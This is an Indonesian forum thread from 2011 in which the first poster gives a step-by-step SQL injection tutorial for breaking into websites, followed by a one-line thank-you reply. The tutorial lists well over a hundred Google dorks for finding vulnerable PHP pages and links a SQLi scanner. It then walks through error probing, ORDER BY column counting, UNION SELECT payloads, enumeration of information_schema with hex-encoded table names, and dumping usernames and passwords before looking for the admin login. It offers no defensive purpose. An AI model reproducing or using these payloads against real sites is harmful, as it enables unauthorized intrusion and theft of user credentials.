[S2]

Would you like to react to this message? Create an account in a few clicks or log in to continue.

SOCIAL NETWORK COMMUNITY


2 posters

    [Video] Cara Hack Situs Web.

    [W3I]ℳℴℕℌϮℨ℟܀ℌÅℕDℤ
    [W3I]ℳℴℕℌϮℨ℟܀ℌÅℕDℤ
    [W3I]ℳℴℕℌϮℨ℟܀ℌÅℕDℤ
    ad
    ad


    WW
    Male Join date : 10.04.11
    Age : 28
    • Post n°1

    [Video] Cara Hack Situs Web. Empty [Video] Cara Hack Situs Web.

    Post by [W3I]ℳℴℕℌϮℨ℟܀ℌÅℕDℤ April 22nd 2011, 9:49 am



    Nich saya buatin bentuk text nya.

    1. silahkan anda cari sendiri website yang bisa dibug melalui google/bing ataupun SQLi Scanner. saya biasa nya memakai SQLi Scanner > [url="http://revtan.site40.net/scanner/index.php"][s][Link]-SQLi Scanner[/s][/url]

    2. pilih aja Dork listnya:


    inurl:trainers.php?id=
    inurl:buy.php?category=
    inurl:article.php?ID=
    inurl:play_old.php?id=
    inurl:declaration_more.php?decl_id=
    inurl:pageid=
    inurl:games.php?id=
    inurl:page.php?file=
    inurl:newsDetail.php?id=
    inurl:gallery.php?id=
    inurl:article.php?id=
    inurl:show.php?id=
    inurl:staff_id=
    inurl:newsitem.php?num=
    inurl:readnews.php?id=
    inurl:top10.php?cat=
    inurl:historialeer.php?num=
    inurl:reagir.php?num=
    inurl:Stray-Questions-View.php?num=
    inurl:forum_bds.php?num=
    inurl:game.php?id=
    inurl:view_product.php?id=
    inurl:newsone.php?id=
    inurl:sw_comment.php?id=
    inurl:news.php?id=
    inurl:avd_start.php?avd=
    inurl:event.php?id=
    inurl:product-item.php?id=
    inurl:sql.php?id=
    inurl:news_view.php?id=
    inurl:select_biblio.php?id=
    inurl:humor.php?id=
    inurl:aboutbook.php?id=
    inurl:ogl_inet.php?ogl_id=
    inurl:fiche_spectacle.php?id=
    inurl:communique_detail.php?id=
    inurl:sem.php3?id=
    inurl:kategorie.php4?id=
    inurl:news.php?id=
    inurl:index.php?id=
    inurl:faq2.php?id=
    inurl:show_an.php?id=
    inurl:preview.php?id=
    inurl:loadpsb.php?id=
    inurl:opinions.php?id=
    inurl:spr.php?id=
    inurl:pages.php?id=
    inurl:announce.php?id=
    inurl:clanek.php4?id=
    inurl:participant.php?id=
    inurl:download.php?id=
    inurl:main.php?id=
    inurl:review.php?id=
    inurl:chappies.php?id=
    inurl:read.php?id=
    inurl:prod_detail.php?id=
    inurl:viewphoto.php?id=
    inurl:article.php?id=
    inurl:person.php?id=
    inurl:productinfo.php?id=
    inurl:showimg.php?id=
    inurl:view.php?id=
    inurl:website.php?id=
    inurl:hosting_info.php?id=
    inurl:gallery.php?id=
    inurl:rub.php?idr=
    inurl:view_faq.php?id=
    inurl:artikelinfo.php?id=
    inurl:detail.php?ID=
    inurl:index.php?=
    inurl:profile_view.php?id=
    inurl:category.php?id=
    inurl:publications.php?id=
    inurl:fellows.php?id=
    inurl:downloads_info.php?id=
    inurl:prod_info.php?id=
    inurl:shop.php?do=part&id=
    inurl:productinfo.php?id=
    inurl:collectionitem.php?id=
    inurl:band_info.php?id=
    inurl:product.php?id=
    inurl:releases.php?id=
    inurl:ray.php?id=
    inurl:produit.php?id=
    inurl:pop.php?id=
    inurl:shopping.php?id=
    inurl:productdetail.php?id=
    inurl:post.php?id=
    inurl:viewshowdetail.php?id=
    inurl:clubpage.php?id=
    inurl:memberInfo.php?id=
    inurl:section.php?id=
    inurl:theme.php?id=
    inurl:page.php?id=
    inurl:shredder-categories.php?id=
    inurl:tradeCategory.php?id=
    inurl:product_ranges_view.php?ID=
    inurl:shop_category.php?id=
    inurl:transcript.php?id=
    inurl:channel_id=
    inurl:item_id=
    inurl:newsid=
    inurl:trainers.php?id=
    inurl:news-full.php?id=
    inurl:news_display.php?getid=
    inurl:index2.php?option=
    inurl:readnews.php?id=
    inurl:top10.php?cat=
    inurl:newsone.php?id=
    inurl:event.php?id=
    inurl:product-item.php?id=
    inurl:sql.php?id=
    inurl:aboutbook.php?id=
    inurl:preview.php?id=
    inurl:loadpsb.php?id=
    inurl:pages.php?id=
    inurl:material.php?id=
    inurl:clanek.php4?id=
    inurl:announce.php?id=
    inurl:chappies.php?id=
    inurl:read.php?id=
    inurl:viewapp.php?id=
    inurl:viewphoto.php?id=
    inurl:rub.php?idr=
    inurl:galeri_info.php?l=
    inurl:review.php?id=
    inurl:iniziativa.php?in=
    inurl:curriculum.php?id=
    inurl:labels.php?id=
    inurl:story.php?id=
    inurl:look.php?ID=
    inurl:newsone.php?id=
    inurl:aboutbook.php?id=
    inurl:material.php?id=
    inurl:opinions.php?id=
    inurl:announce.php?id=
    inurl:rub.php?idr=
    inurl:galeri_info.php?l=
    inurl:tekst.php?idt=
    inurl:newscat.php?id=
    inurl:newsticker_info.php?idn=
    inurl:rubrika.php?idr=
    inurl:rubp.php?idr=
    inurl:offer.php?idf=
    inurl:art.php?idm=
    inurl:title.php?id=


    3. untuk yang pakai manual cek di google/bing:
    contoh: http://site.com/index.php?id=1' <- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

    berarti Webnya bisa di hack

    untuk yang pakai scanner : udah disediain web yang bisa dihack

    4. lalu coba anda tambahkan kata: order by 1-- sampai menuju titik error
    Code:
    Contoh:
    http://site.com/index.php?id=1 order by 1-- <-- no error
    http://site.com/index.php?id=1 order by 2-- <-- no error
    http://site.com/index.php?id=1 order by 3-- <-- no error
    http://site.com/index.php?id=1 order by 4-- <-- ERROR..!

    5. nah yang kita ambil adalah bagian 3-nya (yang error ndak usah)
    sekarang coba hapuskan order by 4-- , lalu diganti dengan :
    http://site.com/index.php?id=-1 union all select 1,2,3--


    (pada bagian warna merah (samping id) dikasih - dan pada setelah angka id, dikasih union all select 1,2,3-- <<-- dimana pada order by tidak terjadi error)

    6. nah pasti keluar angka dibagian wesitenya, contoh saya ambil angka 2. lalu coba angka 2 diganti menjadi @@version:

    Code:
    Contoh:
    http://site.com/index.php?id= union all select 1,@@version,3--

    7. jika keluar angka versi 5.0.1 comunity log (atau yang lain << yang penting versi 5) berarti lanjutkan
    kalau keluar versi 4 tinggalkan saja dan cari web lain..!!

    8. nah coba @@version diganti jadi group_concat(table_name) dan disamping union all select 1,2,3 ditambahkan from information_schema.tables where table_schema=database()
    Code:
    Contoh:
    http://site.com/index.php?id= union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--

    9. nah disitu keluar beberapa table yang mungkin ada table berisi users ataupun admin. contoh keluar table bernama users, lalu hex kata "users"

    1. buka link: http://www.swingnote...s/texttohex.php
    2. dibagian string masukan text yang ingin di hex
    3. click convert
    4. copy hex:

    jika sudah maka bagian group_concat(table_name) dan from information_schema.tables where table_schema=database()

    diubah menjadi:
    - table_name = column_name = group_concat(column_name)
    - tables = columns = from information_schema.columns
    - table_schema=database() = table_name=0x(tambahkan / paste kata yang di hex tadi) = table_name=0x7573657273

    Code:
    Contoh:
    http://site.com/index.php?id=-1 union all select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--

    10. nah setelah itu akan ad beberapa colum tentang username, password, email, etc.
    lalu dibagian group_concat(column_name) . dibagian merah ubah dengan diisikan column username dan password contoh:
    Code:
    group_concat(username,0x3a,password)
    <- setiap ingin menambahkan column, tambahkan koma (,) dan 0x3a
    lalu ubah: information_schema.columns where table_name=0x7573657273-- dengan nama table yang barusan di hex (contoh yang ini users)
    maka from users--

    Code:
    Contoh:
    http://site.com/index.php?id=-1 union all select 1,group_concat(username,0x3a,password)3 from users--

    11. lalu akan keluar username dan password yang kemungkinan ad username admin dengan password admin

    12. silahkan cari sendiri halaman login admin.

    13. Enjoy. B)
    • Kembali Ke Atas
    |SelA|-HasibuaN | |[W3I]|
    |SelA|-HasibuaN | |[W3I]|
    |SelA|-HasibuaN | |[W3I]|
    mo
    mo


    EE
    Male Join date : 09.04.11
    Age : 29
    • Post n°2

    [Video] Cara Hack Situs Web. Empty Re: [Video] Cara Hack Situs Web.

    Post by |SelA|-HasibuaN | |[W3I]| April 22nd 2011, 11:53 am

    [Video] Cara Hack Situs Web. Marquee%20Text

    +++++++

    [Video] Cara Hack Situs Web. 12069 Nice Share Gan
    • Kembali Ke Atas
      Waktu sekarang May 11th 2024, 12:53 pm